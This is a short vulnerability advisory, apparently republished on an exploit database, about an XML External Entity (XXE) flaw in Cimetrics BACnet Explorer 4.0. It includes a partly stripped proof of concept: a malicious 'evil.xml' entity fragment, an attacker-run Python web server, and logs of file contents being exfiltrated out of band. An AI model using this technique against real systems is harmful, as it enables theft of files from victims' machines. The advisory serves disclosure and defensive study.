Cimetrics BACnet Explorer 4.0 XXE Vulnerability Vendor: Cimetrics, Inc. Product web page: Affected version: Summary: The BACnet Explorer is a BACnet client application that helps auto discover BACnet devices. Desc: BACnetExplorer suffers from an XML External Entity (XXE) vulnerability using the DTD parameter entities technique resulting in disclosure and retrieval of arbitrary data on the affected node via out-of-band (OOB) attack. The vulnerability is triggered when input passed to the xml parser is not sanitized while parsing the xml project file. Tested on: Microsoft Windows NT 6.1.7601 Service Pack 1 mscorlib.dll: 4.0.30319.34209 built by: FX452RTMGDR BACstac Library: 1.5.6116.0 BACstac Service: 6.8.3 Vulnerability discovered by Gjoko 'LiquidWorm' Krstic @zeroscience Advisory ID: ZSL-2017-5398 Advisory URL: 30.01.2017 -- Open file evil.xml: %remote; %root; %oob;]> xxe.xml on the web server: "> pyhon -m SimpleHTTPServer 8080 lab-PC - - [30/Jan/2017 00:47:44] "GET /?%5BMail%5D%0D%0ACMCDLLNAME32=mapi32.dll%0D%0ACMC=1%0D%0AMAPI=1%0D%0AMAPIX=1%0D%0AMAPIXVER= HTTP/1.1" 301 - lab-PC - - [30/Jan/2017 00:47:44] "GET /?%5BMail%5D%0D%0ACMCDLLNAME32=mapi32.dll%0D%0ACMC=1%0D%0AMAPI=1%0D%0AMAPIX=1%0D%0AMAPIXVER= HTTP/1.1" 200 - # Iranian Exploit DataBase = http://IeDb.Ir [2017-02-13]